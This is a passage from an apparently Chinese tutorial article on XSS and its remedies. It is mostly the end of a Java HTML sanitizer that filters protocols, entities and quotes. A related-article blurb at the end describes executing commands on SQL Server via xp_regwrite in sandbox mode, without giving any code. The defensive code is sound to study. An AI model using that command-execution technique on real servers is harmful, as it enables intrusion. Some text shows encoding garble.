= P_PROTOCOL.matcher(s); if (m.find()) { final String protocol = m.group(1); if (!inArray(protocol, vAllowedProtocols)) { // bad protocol, turn into local anchor link instead s = "#" + s.substring(protocol.length() + 1, s.length()); if (s.startsWith("#//")) { s = "#" + s.substring(3, s.length()); } } } return s; } private String decodeEntities(String s) { StringBuffer buf = new StringBuffer(); Matcher m = P_ENTITY.matcher(s); while (m.find()) { final String match = m.group(1); final int decimal = Integer.decode(match).intValue(); m.appendReplacement(buf, Matcher.quoteReplacement(chr(decimal))); } m.appendTail(buf); s = buf.toString(); buf = new StringBuffer(); m = P_ENTITY_UNICODE.matcher(s); while (m.find()) { final String match = m.group(1); final int decimal = Integer.valueOf(match, 16).intValue(); m.appendReplacement(buf, Matcher.quoteReplacement(chr(decimal))); } m.appendTail(buf); s = buf.toString(); buf = new StringBuffer(); m = P_ENCODE.matcher(s); while (m.find()) { final String match = m.group(1); final int decimal = Integer.valueOf(match, 16).intValue(); m.appendReplacement(buf, Matcher.quoteReplacement(chr(decimal))); } m.appendTail(buf); s = buf.toString(); s = validateEntities(s); return s; } private String validateEntities(final String s) { StringBuffer buf = new StringBuffer(); // validate entities throughout the string Matcher m = P_VALID_ENTITIES.matcher(s); while (m.find()) { final String one = m.group(1); //([^&;]*) final String two = m.group(2); //(?=(;|&|$)) m.appendReplacement(buf, Matcher.quoteReplacement(checkEntity(one, two))); } m.appendTail(buf); return encodeQuotes(buf.toString()); } private String encodeQuotes(final String s){ if(encodeQuotes){ StringBuffer buf = new StringBuffer(); Matcher m = P_VALID_QUOTES.matcher(s); while (m.find()) { final String one = m.group(1); //(>|^) final String two = m.group(2); //([^<]+?) final String three = m.group(3); //(<|$) m.appendReplacement(buf, Matcher.quoteReplacement(one + regexReplace(P_QUOTE, """, two) + three)); } m.appendTail(buf); return buf.toString(); }else{ return s; } } private String checkEntity(final String preamble, final String term) { return ";".equals(term) && isValidEntity(preamble) ? '&' + preamble : "&" + preamble; } private boolean isValidEntity(final String entity) { return inArray(entity, vAllowedEntities); } private static boolean inArray(final String s, final String[] array) { for (String item : array) { if (item != null && item.equals(s)) { return true; } } return false; } private boolean allowed(final String name) { return (vAllowed.isEmpty() || vAllowed.containsKey(name)) && !inArray(name, vDisallowed); } private boolean allowedAttribute(final String name, final String paramName) { return allowed(name) && (vAllowed.isEmpty() || vAllowed.get(name).contains(paramName)); } }
總結
到此這篇關于跨站腳本攻擊XSS分類介紹以及解決方案的文章就介紹到這了,更多相關跨站腳本攻擊XSS分類及解決內容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!
相關文章
SA 沙盤模式下不用恢復xp_cmdshell和xplog70.dll也執(zhí)行命令
sa下刪除xp_cmdshell和xplog70.dll時候的一種辦法,不算新的了, 也被一些人不斷的再次提出來,為了方便自己記憶再寫出來, 在這種情況下,要執(zhí)行命令,條件是要有xp_regwrite。2011-01-01